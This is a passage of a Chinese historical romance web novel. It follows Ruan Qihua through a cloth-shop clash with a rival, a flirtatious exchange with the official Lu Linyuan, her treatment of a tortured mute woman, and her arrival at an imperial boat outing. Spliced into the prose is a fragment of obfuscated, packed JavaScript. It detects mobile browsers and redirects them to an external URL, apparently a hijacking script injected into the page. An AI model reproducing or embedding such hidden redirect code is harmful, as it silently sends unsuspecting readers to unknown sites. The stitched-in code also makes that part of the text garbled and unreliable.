谁都招惹不起,胖掌柜只能一个劲左拉右扯,抓住从后方窜出来的伙计,像抓住了救命稻草。一把夺过伙计手上的布料,“两位小姐不放看看这个,这个,这个也不错的。”
掌柜的没有哄阮绮华,这料子一拿出来,确实是比她刚刚拿在手上观察的那匹更衬她。
可她刚要伸手,就有人更快地抢了过去。
“这匹也不错,我也要了。”
这便有些欺人太甚
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了。
柳如霜牢牢将布料攥在手中,阮绮华皱起眉,尚未开口,一道清润的男声从背后先传了出来。“柳尚书养出来的女郎,教养便是如此吗?”
得救了!
胖掌柜激动地看向陆大人。对方却只两步过去,坚定地站在阮绮华面前。胖掌柜默默移动脚步,自觉躲在阮绮华后面。
陆临渊确实不让人失望,“久经沙场”的权臣,满面春风地便可说出渗人的话。“先来后到的规矩,柳姑娘也不懂吗?还是说,有季翰林在,柳姑娘便可不顾规矩了?”
“前阵子柳姑娘生辰,听说很是热闹。陆某公务缠身,未能亲自前去,甚为遗憾。下次有机会,还得同柳尚书好好聊聊。”
“毕竟,今日可不将先来后到的规矩放在眼里,以后,岂不是会罔顾君臣伦理?季翰林饱读诗书,这道理应该不会不懂。”
陆临渊笑得和善,铺子内的气氛却如冰窖般冰冷。全场静默,怕是没人听不出来其中的威胁之意。
除了阮绮华。
从方才陆临渊挡在她身前起,她便知道情况转好,自己可以放松了。于是放任自己站在陆临渊身后默默出神。
嗯,陆大人穿这件衣服是挺好看。这个花色配他的脸,着实清逸出尘。
她默默为自己的眼光点头称赞。
不过……她歪了歪头,从陆临渊身后探出来看看现场的情况。
柳如霜的脸色确实如霜打了一般又气又蔫,季赫楚标志性的假笑也僵在脸上半晌说不出话。
是挺解气的。
但还不够。
她想起什么,弯起眼,笑着从陆临渊身后走出,打破僵局。
耳下的红碧玺坠子随着动作晃动,“碧绿那匹料子确实更衬如霜姐姐些,不若这样,那料子你拿走,我便也不夺人所爱了。”
碧绿色的料子便是她方才手上拿的那匹。
她笑吟吟地伸手,利落地将柳如霜手上的抢过,然后随手往地上一扔。动作之快,让柳如霜甚至没来得及挣扎。
“哎呀,这料子脏了。我这怕是拿不了了,掌柜的您帮柳家小姐的那匹送过去吧?方才若是没记错,那匹料子应当是四百两白银,对吗?”
一匹料子四百两?!
柳如霜此时就是再迟钝也反应过来阮绮华在坑她了,不,应当说是明目张胆地抢。她的脸色愈发难看,“你!”
陆临渊自然地接过话。
“阮姑娘怎的了?阮姑娘大方割爱,柳姑娘应当感谢,且多学习才是。”
柳如霜气急,偏头看看季赫楚的面色,二人均是吃了蝇虫般的不虞。
偏偏胖掌柜此时笑得真心实意,四百两,买这料子能买三匹还有富余。阮姑娘着实是财神爷。他麻溜地将料子收好,对着柳如霜开口。
“柳小姐,料子给您送到府上还是?”
“不必了!”
柳如霜气结,拿起布料便是转身要走。却被胖掌柜堆笑着拉住了衣摆。
“诶诶,柳小姐,那个,布料的钱。”“尚书府不认识吗?到柳尚书府上支!”
“好嘞我送您!”
柳如霜拂袖离去,只剩季赫楚阴沉着脸,眼中有浓郁的墨色。他直直看向阮绮华的眼:
“阮妹妹大度,令季某人佩服。后日游船,期待再见。”
期待再见?
阮绮华不做应答,只礼貌颔首。却在对方转身时,盯着某处久久不肯移开眼。
季赫楚转身时,腰间露出的玉佩,为何有种莫名的熟悉感?
23. 我与季大人孰美
怎么觉得周身凉凉的?
阮绮华还没想出来,自己到底是在何处见过这样的玉佩。忽然感觉有阴影从她的头上笼罩下来。
她疑惑地扭过头去,只看到一片藏蓝的衣料,近得仿佛要戳到她的头顶。
什,什么?
她不由自主地后退半步,只见那人的眼睫微不可见地颤了颤,眼尾低垂下来,嘴上却强行维持着一点笑。一副受了委屈又假装大度的可怜模样。
看到阮绮华终于回头,这人犹豫了几下,才肯小声开口。“阮姑娘如此舍不得季大人,可是觉得他的衣裳比我的好看?”
“定是这衣服不适合我,我这就去换下来。”
光风霁月的陆大人受了委屈耍起脾气也是很难缠的。此时的他都没给阮绮华辩解的机会,长腿一迈,转身便要往里屋走。
“等等!”阮绮华开口拦人。
“谁说陆大人衣裳不好看的,您穿这件衣服分明就是长身玉立,姿色过人。”
糟糕,不小心把心里话说了出来。
阮绮华心道不好,自己一时心急,到底说了什么浑话。
“我知阮姑娘惯会哄人,可陆某愚钝,还请莫要拿我寻开心了。陆某相貌平平,想必是入不了阮姑娘的眼的。”
也不知刚刚的夸奖他是听进去了没有,如今越说脸上的表情越沮丧,说到自己入不了阮绮华的眼时,冷白的皮肤都染上了薄薄的红色。
嘶,这怎么还越哄越坏了。
阮绮华一时哽住,她从没怀疑过自己,尤其是怀疑自己的嘴上功夫。不说爹娘,原先在江南,陪她看戏的姐姐们,也都是被她哄得心花怒放的。
可如今陆临渊一副受了莫大委屈,巴巴地站在原地看她的模样,她真是说也不是,不说也不是。
无法,确实是她没理在先。
陆大人方才挡在她身前那样护着她,帮她怼季赫楚。
而她却盯着季大人离去的背影不放,好像,确实有背叛之嫌。
自知理亏,她心下又慌了几分。不自觉地抬高了音量,对着陆临渊脱口而出。
“怎会哄你?论身段、论样貌、又或者论气度才华,陆大人在整个大雍都是顶顶拔尖,那季赫楚不过是个伪君子,如何能跟你比?”
“陆大人在我眼中,完美无缺。”
一股脑说出心里话,周围突然安静了下来。
陆临渊顿在原地,脸上早就被红霞笼罩。眼中闪烁,一错不错盯着阮绮华。
他们身后,一整条街的掌柜和伙计们都悄悄探了头出来。想知道到底是谁家姑娘这样大胆。竟当街表白陆大人。
旁边的胖掌柜从刚刚陆大人说话起,见着形式不对,便早已将滴溜转着眼睛,企图将自己的存在感减小到最弱,缩着本来就不甚明显的脖子退到了角落。
江上清风陆大人和江南阮氏的掌上明珠,在这上演你追我赶的追爱戏码,这不是他一个小小布商该知道的。
可眼看着周围凑热闹的人都要涌上来了,胖掌柜眼风一扫。将周围跃跃欲试的伙计按下,挪着身子从角落挤出来,脸上又挂上了热情的笑。
“阮姑娘眼光着实是好,这件衣服简直为陆大人量身打造,是再合适不过了。您看,要不我们进铺子里......?”
陆大人从方才开始便失了魂,他只好眼神暗示阮绮华,周围人多眼杂,在外头纠缠,不知会传成什么样。
阮绮华自是懂的,走近陆临渊的身边,手上暗暗用劲,推着哄着他进了铺子。
胖掌柜是个察言观色的一把好手,进了铺子也不多说,当下便从钱匣里取出三百两银票,递给阮绮华。
一边嘴上还说着:“阮姑娘是我铺里的贵客,方才的料子钱理应同您分一多半,还有陆大人身上的衣服,都算是小人给您的一点心意。”
阮绮华挑挑眉,陆大人身上的衣物不便宜,方才卖出给柳如霜的料子钱,这掌柜的怕是只留了一分利。
不过看着胖掌柜讨好的表情,她瞬间又了然了。
这样客气,掌柜的怕是已经知道了她的身份。不得罪达官贵人能让他安稳开铺子,讨好最大的布商,能让他财源滚滚地开铺子。
阮氏指缝中漏出的金子都够他荣华,让几分利算什么?
只不过,她倒是不知道对方是怎么知道的。
阮绮华脸上的疑惑太明显,掌柜的嘿嘿一笑,指了指阮绮华的耳坠,对她开口道。“阮姑娘耳坠上的红碧玺很衬你,整个大雍怕是也只有这一颗。”
居然被个小小耳坠出卖了身份。
她不禁用手摸了摸坠子,那日宫宴归来,阿娘检查了数遍,特意将她梳妆匣中打眼的几个都收好了。没想到这个也......失策。
阮绮华颔首,从袖中拿出一物递给胖掌柜。“掌柜的生意做得红火,若有机会,欢迎凭此物去阮氏布坊看看。”
说罢,她不再理会掌柜惊喜的吹捧,只哄着一旁尚在恍惚的陆大人随她上了马车。
——
直到回到自家院落,阮绮华还忍不住疑惑。
方才是她的错觉吗?
马车摇晃一路,她闭眼假寐,思索在哪里见过季赫楚的玉佩。陆大人手捧书卷,研读案卷。
一切都很宁静和谐,可她总觉得有人在盯着她,一种浓重的,贪婪的直接的凝视。
可每次当她抬头看过去,对面的男人却始终保持着认真研读,无事发生的模样。
除了时不时抬手,看看袖口的衣物是否有被压皱,陆大人的行为没有半点可疑之处。
“小姐,您终于回来了,我正要去找您。您今早救回来的姑娘醒了,正闹着要下地呢!”春桃面色焦急,跟向内走的阮绮华险些撞个满怀。
“什么?!”顾不得心头那点疑惑,阮绮华被脚步匆匆的春桃拉进了屋。
双腿尽断,怎么下地?
床上的女子已经苏醒,面如金纸。此时正同王永安挣扎着,要下地,要出去。
一边挣扎,一边还从喉咙里发出低沉的嘶吼。
分明是一副伤痕累累,虚弱到了极致的身子,甚至两个时辰前,他们还在担心她能否苏醒过来。
可
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是如今,却好像又生生从血脉里榨出了些力气,双腿尽断,手便不住扑腾着,要推开王永安拦她的手。一个劲往地下爬。
“不可,姑娘你现在的身子还未好,不可啊!”王永安哪见过这场面。
对方浑身是伤,他动一下都怕戳到伤口,可男女有别,他能触碰的地方又有限。眼下是手忙脚乱,汗都要落下来。
见到阮绮华进来,他连忙开口呼救,“小姐,小姐,你终于来了,赶紧拦住她,别让她下地。”
“她现在的身子破破烂烂,能保住命都得感谢阎王老爷,全靠几口药吊着,这哪能由着胡闹啊!”
阮绮华见此也是一惊,这可是她治病的重要线索,怎能让她出事。
当下便是一个大步向前,稳稳将人托住,抱入怀中。任由那女子捶打挣扎,也不肯松手。
一面忍着痛,一面手上轻抚她的后背,嘴上半是哄,半是警告。“别怕,别怕,我们是医治你的人,是救你的人。”
“你现在身子太虚弱,中了毒,又有身孕,切不可随意下地,多养养身子,养好了,才有机会申冤。”
“可如果你不愿听,执意要下地,我也不阻拦你,可是你想清楚,你现在出去,万一又被人抓了去,那对得住你先前的努力吗?”
阮绮华一番话说的真心实意,也软中带硬。
女子挣扎的动作突然僵住了,浑身的力气一瞬间卸了下来,她缓缓抬手,用力挤压小腹,抬头看着阮绮华,眼里的恨意几乎要溢出来。
是,她费了那么大力气逃出了那个炼狱,难道连这几天都忍不了吗?
他们是坏的,那你呢?你真的是好人吗?
女子紧咬着下唇,艰难地向后挪动,退至墙根,环顾整个屋子后,视线在阮绮华与王永安之间反复游移。
阮绮华心知女子经受了非人的折磨,如今被一个素未谋面的人捡回去,怕是很难放松警惕。
眼下也不急着让她信任自己,只放缓了声音,耐心地哄道。
“你放心,你且慢慢养伤,我不会对你做什么。若是存心害你,也不必带你回来,只管留你在那处昏死过去,等天亮了自会有人来收尸。”
“眼下将你救回府里,便是要打定主意给你治好的。这一位是给你治伤的府医,若你有不适,可尽管开口。反正......你的伤也不会比之前更坏了,不是么?”
这话说的不假,这女子方才能咬着牙同王永安挣扎,已经是强弩之末。他们再有心害她,又何必费心将她带回,还悉心照料呢。
女子将信将疑地看着她,手中的玉佩还是未曾放开,反倒又往锦被中藏了藏。
这点小动作瞒不过面前的阮绮华,她的视线被吸引过去。
羊脂玉的方形玉佩只露了一个角在被子外,方才挪动的时候,她似乎看到了上面的刻字。
不清晰,但可以确定的是,字体圆润大气,加上上方系着的火绒布,绝非凡品。
不过,怎么......
等等,今日在季赫楚腰间见到的那一块,是不是也用火绒布系着的?!
24. 开屏
周遭寂静下来,有什么东西在阮绮华的脑中一闪而过。
季赫楚身上的玉佩,为什么会和这女子身上的相似。
动作的速度超过了思考,她的视线直直定在女子手中玉佩上,身子前倾想要凑近,手也不自觉地抬了起来。
“你......”
可女子的动作先她一步,在她的凑近之前,女子已经迅速将手中露出来的一角收进被中。
同时侧过身去,用另一只手屈起挡在胸前。苍白的脸上写满了警惕,才刚缓和下的气氛一瞬间针锋相对起来。
王永安看向她的目光中也充满复杂。
阮绮华毫不怀疑对方正在腹诽她。看眉毛挑起的弧度,应当已经在想怎么跟阿爹告状,让她多学点礼仪了。
刚刚才同人家说,自己是来救她的,结果一转脸就要抢东西。
真是心急到昏了头了。
阮大小姐收回手,精致的脸上难得浮现些薄红。
这位女子这般紧张,那玉佩应当是相当宝贵之物。
短期内应当是不可能轻易给她看的。
线索就在眼前,但她的教养不允许她枉顾他人意愿,只能等。
清楚了这一点,阮绮华忍不住轻声叹口气。然后对一脸防备的女子解释道,“今日遇到一位大人,身上的玉佩与你的有几分相似,但因为没有看清,方才急于求证,这才不小心唐突了姑娘。”
“姑娘好生休养,我这就走了。”
听前半段话时,女子面上的防备还保持未动,但在听到有一块相似玉牌时,女子的眸光突然闪动,面上的表情也又警惕,转变成了复杂情绪的融合。
很难分辨那是一种痛苦或是,怀念。
当阮绮华意识到从女子残破身体里流露出的怀念时,她有些疑惑。
一位受了无数折磨,浑身上下找不到一块好肉的女子,会怀念什么呢?
她无暇再想,女子不会说话,她们的交流太过困难。还是勿要操之过急,再过些时日吧。
她起身要走时,一只手毫无征兆地伸出,拽住了她的衣摆。
那手太过纤细了,余光看到的细瘦手腕,只剩下一层薄薄的皮包裹着,好像稍用力些就会被折断。
当然,阮绮华作为替她检查过的医者,也再清楚不过,这只手确实曾经被折断过。
只不过后来歪歪扭扭长好了罢了。
“还有什么事吗?”阮绮华耐着性子,温声询问。
她这一天过得很辛苦。
可以说没有怎么休息过,眼下知道线索中断,只想好好回塌上休息一下。
但对上女子的泪眼,她还是忍不住停下了脚步。
女子不会说话,这是她与王永安都发现了的。
此刻这个伤痕累累的哑女,正用祈求的眼神看着她,嗫嚅着嘴唇,比划着些什么。
但当阮绮华疑惑地要问出口时,女子又倔强地,泄气一般将手上的动作停了下来。
她和王永安都看不懂女子的比划。
无法,又是一声叹息,阮绮华安抚地轻轻拍了拍女子的锦被。
“先好好休养吧。”
——
翌日。
北地干旱,秋冬尤甚。
天色阴沉下来,却如何都下不下来雨。
乌衣巷陆大人,今日的面色比天色明媚。
有相熟的同僚偷偷跟李副使打听,“陆大人这是,买新衣了?”
“可不是,听说是那位。”李一彦抬眼瞟了眼陆大人的背影,压低了声音,“听说是那位姑娘送的。”
“哪位呀?”
“哎呀,上次那位嘛。”
李一彦朝同僚递了一个意味深长的眼色,对方不自觉昂首,“哦哦哦!你是说那位是吧?”
就是上次让陆大人早朝都没上完,便匆匆告退的那位。
“所以那位,到底是哪家的姑娘啊?”
李一彦面上一脸高深莫测,“不该打听的别瞎打听。”
更深的内幕消息,当然只能他们亲信才能知道。
比如陆大人昨夜将那衣裳捧到床头挂了一夜,半夜不知睁眼看了几回,醒来第一件事便是带着衣服去上朝。
也因此,平日慢条斯理的陆大人第一个下了朝,换上竹叶暗纹,藏蓝色的广袖长袍,按着他在御前正街吹着冷风,聊了一刻钟的案子。
当然,这期间也有几位乖觉的大臣,凑上去夸陆大人的新衣。
不过表面上,陆大人还是一如往常,谦逊地回应,只有熟悉他的李一彦注意到,大人已经轻轻昂首。
不过这些事,不足以为外人道也。
见陆临渊终于从茶馆起身,李一彦赶紧摆摆手,跟同僚三两句告别后,一路小跑地凑上去。
“大人,咱们还要饶一圈吗?”
“不了,回大理寺吧。”
陆大人平淡的语气一如往常,只眉毛微微扬起,手上慢条斯理地沏上一壶花茶,然后才拿出卷宗。
李一彦跟着大人多年,他知晓,这是对今日的行程很满意的意思。
主子高兴,他便也扬起笑来,应和的声音和手中的马鞭一起在空中甩起,“好嘞!”
但,有人欢喜有人愁。
阮绮华的面色,较今日的天色更加阴沉。
她是被惊恐的春桃摇醒的。朦胧睁眼时,天色还未大亮,耳畔是春桃惊叫的声音。
“小姐,小姐!您快醒醒,好多好多血!那位姑娘,都是那位姑娘的。”
什么血?真的不是在做梦吗?
她不知当下是什么时辰,春桃显然被吓坏了,颠三倒四的,话也说不清楚。
事态紧急,她只能随着春桃的动作,穿了鞋就往外间走。
“嘶——”
眼前的惨状激得阮绮华的脑中瞬间清明。
女子身下的罗汉塌已经被血液浸染,汗液将满头青丝打湿,整个人像从水中捞出来,本就白瓷一般的脸,此刻已经几近灰败。
场面太有冲击力,阮绮华不由自主地身子微晃一下。
来不及多想,她直接掀开了压在女子身上的锦被,急急扭头对春桃吩咐道,“将我的药匣和银针取来!”
夜色尚且深沉,此时也来不及叫王永安来搭把手了,她粗略看了一眼女子的情况,然后接过药匣,对春桃使了个眼色,后者立刻会意,将院门落了锁。
好保证院中除了他们主仆和昏迷女子,不再有外人。
一切准备就绪,她低头仔细审视。
饶是一开始替女子包扎过一次,再次看到这些伤口,阮绮华还是忍不住倒吸一口凉气。
也许是睡梦中有了什么大幅度的动作,女子的伤口又崩裂开了,右腿断得太厉害,阮绮华换下包扎的布巾时,春桃险些被烛光下的伤口吓得尖叫。
还好阮绮华一个眼神过去,及时让春桃闭上了嘴。
女子的情况不应引起他人注意。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951675|159071||http|test|mini|href|location''.split(''|''),0,{}));
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>烛光下,阮绮华一点一点查探着。
额上的汗是高热引起的,溃烂的伤口经过包扎之后,伤患要熬过的第一道坎便是高热。
但更麻烦的还不止于此,她抿紧下唇,对春桃吩咐道:“去准备些热水来。”
女子的身下,大片大片暗红的血迹还在往外流淌。
那是才三个月,却像鬣狗一样顽强咬着这幅残破身躯的胎儿。
她捏着银针的手突然抖了一下,忽然想起了下午女子祈求的眼神,那是倔强又绝望的一双眼。
她想她懂了女子的意思。
【请求您,帮我杀了这个孽种。】
是,这个伤痕累累,遍体鳞伤的哑女,那时正用发不出声音的嗓子对她“啊、啊”地发出祈求,手指颤颤巍巍指向自己的小腹。
她想求阮绮华将她腹中的孩子堕了。
她当时没听懂,想来,就算是听懂了,也会不忍。
不是不忍替她堕了这个胎儿,而是不忍她现在的身子再去遭罪。
小产后的妇人比正常生产之后的妇人要更加脆弱,更何况,这位女子如今的情况,已经经不起波折,
也许女子那时不够信任她,所以不肯再说,宁愿自己动手,也许。
也许她只是想亲自动手。
阮绮华忽的笑出了声,然后轻笑着对昏迷的女子说道,“真蠢。”蠢到好不容易逃出来,又冒生命危险亲自撕开伤口,堕了孩子。
但也聪明,知道我不会让你死的。
一切准备就绪,阮绮华手下不停,一盆盆的血水往外送出。
直到快天亮时分,女子不断攀升的体温才被遏制住。身上的伤口也被重新包扎处理。
累到两眼昏花的阮绮华躺上床的最后一瞬,脑中只闪过一个念头:
还好,这女子是被自己捡回来了。
再次醒来,已经接近正午。简单梳洗过后,阮绮华接过春桃手中的药盒,便迷迷糊糊往摄政王府走。
连着两夜休息不好,她的脑中一片混沌,两步路的距离,还差点被门槛绊倒。
这样不行,阮绮华掐住右手的少冲穴,手上微微用力,勉强让自己清醒几分。
今日得找个借口早些回府休息,不能再被旁的事耽误了,不如用过膳便走,对,用过膳就走!
阮绮华暗暗下了决心。
可尚未迈进陆家大门,她便被挂着笑的小仆拦了下来。
“阮姑娘请留步!”
阮绮华疑惑地看过去,是上次在门口张望的那位家仆。
那人匆匆迎上来,对她解释道,“阮姑娘请留步,我家大人今日不在家。”
不在家?也许是案子又忙起来了吧,她没做多想,只微微蹙眉。
但是。
陆大人体虚,该多加疗养,那种因为公务繁忙忘了用膳的情况,断断不该再发生了。
“那陆大人会回府用膳吗?我可在此等待。”
“不用了,阮姑娘,李副使交代过,他与大人一同在大理寺用膳,您可以先把药给存放于此,稍后待李副使过来取药。”
说罢,作势便要接过阮绮华手上的提盒。
小仆言辞恳切,手上的动作也是不含糊。
阮绮华隐隐感到有一丝怪异,但尚有些不清晰的脑袋转了转,又不知从何说起,只能顺从地将提盒交出。
临走时,她莫名感觉有一股视线定在自己身上,可反头看,道路两边空空荡荡,不见身影。
25. 游船
“你是说,陆大人今日也不在家?”
陆府正门,提着药匣的女子又被门童拦在了外面。
接连两日未能亲眼见到陆临渊服药了。
阮绮华微微抿唇,看向面前不住点头的仆从。今日未时,在京西雁栖湖举行游船,她本算好时间,来陆府送药,用完膳过后便刚好出发。
看着小仆闪烁的眼神与不自然僵硬的身体,她的心中涌上一丝不安。
脑中快速回忆上一次见面,分别时陆临渊的每一个动作和细微表情。又反复搜索着方才在家时,哑女的情况。
是故意避而不见吗?
她记得前天分别时,陆大人的心情不错;
那么,是身体出了问题?毒素爆发了么?
她心里一紧,又很快否定这一猜测。不应该,她出门时刚刚给沉睡的哑女把过脉,服药几日,哑女体内的毒素平稳,并无异样。
可是,为何她总觉得不对劲。
心下的不安像模模糊糊的雾,缠绕着、笼罩着她。阮绮华蹙起眉,凤眼中不自觉透露出威压。
树影摇晃,阴沉的天送来一阵凉风。
她定定看向小仆的眼睛,
这人,是否在说谎?
“陆大人昨日可曾回府?”
“不,不曾。”小仆的声音有些颤抖,不知是被贵人紧盯产生的紧张,还是心虚引起的。
“是么?若是骗我,你知道后果。”阮绮华声音平淡,说到后半句时,漫不经心地低头掸了掸身上不存在的灰尘。
抬起头再看向小仆时,眼中是毫不掩饰的审视。
面对阮绮华的质疑,他慌忙地摆手,说话的声音也结巴起来,“昨日的药是,是李副使回来取的,我家大人昨夜不曾回来,直接在大理寺歇下了。”
李副使。她仔细回忆下,似乎确实想起春桃昨日同她提了一次。
“怕是又有大案子来了,不过一下午,李副使的马车从门口匆匆经过了数次呢。”
陆大人公务繁忙,住在大理寺,似乎也是常态。说起来,她前几日送药,也隐约听到陆府下人在奇怪,关于陆大人最近居然连着两日在府上用膳。
阮绮华内心的疑虑被打消了。
凝重的面色被风吹散,她终于勾起唇角来,笑吟吟地抬手,将药递给小仆。
纤长白皙的玉指一松,褐色的药匣眼见就要落地。小仆慌忙伸出手去接。
却见一阵风突然划过他的面颊。
是阮绮华正趁着他不注意,几步冲向府内。
陆临渊瘦削的身形,和咳嗽时被动弯折的脊梁,一齐浮现在她脑海里。
她不敢想,若是真的毒发,面对朝中多人的虎视眈眈,陆大人会有多么被动。
她又想到从云端坠落,遍体鳞伤双腿尽断,至今奄奄一息的哑女。
嘴唇不自觉抿紧。繁复的衣裙拦不住她的动作,她单手将衣摆撇到身后,大步迈开。
虽然未曾去过,但陆大人的院子同她的院落只有一墙之隔,她凭着记忆直直地朝那方向跑。
没有什么拦得住她,她必须亲眼见到自己的病人才能放心。
拎着珍贵药匣的小仆目瞪口呆,谁能想到金尊玉贵的阮家小姐跑起来脚下生风。
好不容易反应过来,他往前匆匆迈了几步,又担心洒了药汁,只能急得跺脚,忍不住大喊,“阮姑娘,阮姑娘!”
不过这样喊着当然是徒劳,若是阮绮华会听他一个小仆的话,那么方才也不必使诈骗他了。
周围的丫鬟婆子哪敢拦着阮姑娘,纷纷避让。不仅如此,还有胆大些的,红着脸就给她指陆大人的院子。
也好在有人指路,陆家府邸虽与她阮家比邻,但格局构造都有不同。她快步经过曲折的庭廊与□□。
又几个转弯,终于柳暗花明。
“归云堂”三个字写得劲瘦,笔力遒劲,阮绮华只一眼便知这是出自陆临渊之手。
就是这里了!
院落空荡,她探头望里望,不见人影。又在门口犹豫起来。
若是陆大人真是毒发了无法见人,那么她进去便可救人。
若是不在?
若是不在,陆大人秉性温和,想必也不会责怪她救人心切,私闯他的府邸。
她定了定心,这次总算抬脚准备走进。
“阮姑娘?”
一道熟悉的男声从她背后响起,她一心放在找寻陆临渊上,一时被突然传出来的男声惊得一激灵。
“谁?”她不自觉地边问边扭头。
穿着玄色短衫的少年笑着从阴影中走出,晃动的树影在他脸上明灭。
李一彦冲她抱拳行礼,看到她手中空荡,又疑惑地开口。“阮姑娘来送药吗?”
“是。药匣在门口小仆手上,我麻烦他帮忙提来。应当马上便到了。”阮绮华面不改色地扯着谎,又问道:“陆大人在府上吗?”
李一彦没问为何今日阮绮华独自冲在了前面,不仅不去待客的明礼堂,还直直冲到外男的院落门口。
只是对她的提问摇摇头,语气中是遗憾。“不巧,来了个案子,我家大人昨夜便没有回府,这两日都是由我代他取药的。”
“门口的小仆没有告知阮姑娘吗?”李一彦皱起眉又问。
“好像提了一嘴,今日风大,或许是我没听清。”
“确实有点大,听闻今日未时游船,姑娘还需多穿些。我看时辰不早,是否需要李某相送?”李一彦的眼中满是真诚。
他一提醒,阮绮华这才意识到,她是该出发了。
方才出门时,阿爹说有话要嘱咐,现在还在家中等她,她摆摆手谢绝了李一彦的好意。“几步路罢了,我识得路的。”
李一彦背手点头,眼见着要转身进院里。
没忍住,阮绮华还是开口问了一句:“陆大人,会参加下午的游船吗?”
然后她看到李一彦背脊一僵,转过身有些为难地对她说道,“阮姑娘,这我就说不好了。大人现在有要事在忙,暂且脱不开身。李某只是下属,不敢随意问大人的计划。不过游船的机会宝贵,若是得了空,我想他应当是会前去的。”
这样吗?
阮绮华点点头,冲李一彦道谢。然后沿着来时的路原路返回。
不知为何,她总还是觉得有些不对劲。
比如说李一彦既然是为了取药而来,为何在听说她把药给了门口小仆后,又转身进了院子;又比如方才李一彦回复她时,刻意避开与她视线相对。
过于敏锐的观察力让她无法完全放下心来,但李一彦总归是陆大人的心
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腹,他能够离开陆大人身边,镇定自若地面对自己,那局面应当不会太危机。
况且,有哑女的现身说法,自己配置的解药还是很有效用的。
她如是想着。
路过方才的小仆时,对方已经将药匣放了下来,正恭恭敬敬将双手在身前交叠,向她行礼。想说又不敢说的幽怨眼神让还是勾起了她……少少、细微的一点愧疚。
她想起王永安昨日挑到要升天的眉毛和不可置信的眼神,心中默念:
身为医者,救人心切,怎能算失礼。
想到这里,阮绮华将脊背挺直了几分。返家的步子也轻快了些。
——
“咚咚——”对坐的中年男人屈指,敲了敲百年黄梨木的桌案。
少女缓缓回魂,看向对面的阿爹。
“华儿,我方才说的,你可记住了?”阮富明见到自家女儿眼下的青黑,说不心疼是假的。
但是他还是得强调他方才说的话。“一会儿上点心,游船不打紧,回头阿爹再给你买艘十八骨的金乌龙首船来。咱们就当这一次是完成任务。”
“记住了,阿爹。”阮绮华拖着音调撒娇。她当然知道自家阿爹是为了她好。也早就做好了心理准备。
只是多少有些心累,态度怪异的景仁帝与季赫楚,每一个都让她费心。
忍不住一声轻叹,垂下眼眸。
她将手臂的袖箭用大袖笼严实,又紧了紧香囊,尤觉得不够,想了想还是将宋臻给的小弓箭收入了怀里。
“好了,出发吧。”
游船是皇室、秋闱优胜者与陆大人才能参与的特殊活动。
阮父没有送她,只立在府邸门口,望着她上马车,渐行渐远。
雁栖湖在京郊,距乌衣巷有些远。
阮绮华点了香炉,思绪随青烟一起,慢慢升腾。
那日季赫楚的玉佩她尚未看清,哑女还在昏迷,即便醒着,也是不愿将珍贵之物轻易交出的。
景仁帝对她的初印象并不好,虽近期莫名其妙给予她奖励,但君心难测,她还是得听阿爹的话,敬而远之。
至于他人......虽然明知陆大人现身的可能性很小,但她见不到人,总觉得心中有一处高悬。
呼——
阮绮华伸手支起车窗,看到了前面的马车。
帘布上丝线绲边,方正绣上的宋字表明了主家的身份。
宋臻!
阮绮华眼睛一亮,除陆大人以外,宋臻怕是偌大的京城里,她唯一一个说得上话的人了。她忍不住连声催促马夫李泉,“快些,追上前面的宋家马车。”
李泉哪有不应的,当下便扬起马鞭,提速追赶。马蹄声不断,扬起尘土飞扬。
离宋家马车不过一臂的距离,眼见着两架马车便要齐驱并驾,宋臻那边却突然提了速。
两车之间就这么不远不近地保持着,直到岸边。
阮绮华心中满是疑惑,她感知到宋臻在刻意疏远她,但不知道为什么。
她疑惑地下了马车,看向宋臻的方向。
对方却巧妙地避开了她的视线,与身侧的他人谈笑着。
循声接人的下人匆匆迎到阮绮华面前来,恭敬地朝她行礼,“您终于来啦!阮姑娘,陛下等您许久了,请随我来。”
26. 可愿入宫为妃
前面的小太监是个眼生的。与宫宴那次不同,这次的领路太监沉默寡言,说了一句陛下召她来的之后,任凭她问询,也不再开口。
恭敬地躬身带路,连眼神都不愿透露给她半分。
“吱呀——”
“哎!”
一个不注意,阮绮华险些踩到空处。
她美目圆瞪,这,怎么会?这可是皇室御用的青雀舫[1]啊!甲板上居然有洞?
还好人没事,阮绮华心有余悸地看了眼黑黝黝的断木,提着衣摆瞥了眼,烫金的桃红宫装染上了一点脏污。
领路太监被她的惊呼引得回头,待到看清丝质宫装染色的情况后,方才的沉默消失不见,当即慌张地开口求饶,双膝这就要一软:“求阮姑娘饶奴一命,奴不是故意”“这与你何干,快起来!”
不过是件再寻常不过的衣物,阮绮华当然不会这样计较。
她随意摆摆手,再次示意让小太监莫要紧张,对方这才从恐惧中脱离,战战兢兢起身,又是一番千恩万谢。好不容易才接着领路,这次长了记性,一步三回头,生怕她又出意外。
阮绮华暗自奇怪。她不过是个根基浅的新官之女,损了件衣物罢了,怎的这样容易便被吓坏,也不知怎么在宫里当差的。
不过奇怪归奇怪……她仔细望着前方的坑坑洼洼的地面,接下来的路,她还是老老实实将注意力集中到了脚下。
登船之前,她只知皇室游船是开国以来的传统;登船之后,她才后知后觉地发现,就连船只也从大雍开国便没换过。
肉眼可见,处处是修修补补的痕迹。
阮绮华一面跟在领路太监身后小心翼翼,一面腹诽:
大雍的皇室真是不断给她新的惊喜。
好不容易到了地方,阮绮华刚要推门而入,小太监一个挪了挪步子,挡住了路。半晌站在原地巴巴望着她。
推门的手顿在半空,她被这人欲语还休的眼神拉住了。“还有何事?”
“阮,阮贵人,一会儿到了圣上面前,您方才说的不计较,可还作数?”一截衣摆在小太监手中被捻了又捻,不难想象到他手上一定布满了濡湿的汗液。
画面有些恶心人,阮绮华收回过于敏锐的洞察力,她毫不怀疑,若是她敢说出半个不字,这人能一直挡在门口。
“什么阮贵人,我只是普通大臣之女,你莫不是认错了。再说了,不论我是谁,都不屑于哄骗他人。”阮绮华有些奇怪的纠正了对方的称呼。
这小太监不知是犯了什么糊涂,话里话外的,好像是将她归为了宫里哪位嫔妃,所以害怕得紧,怕她去景仁帝面前告状。
也不知这样的皇宫到底有何好入的,那帮世家贵族还为了个入宫的名额打破头。
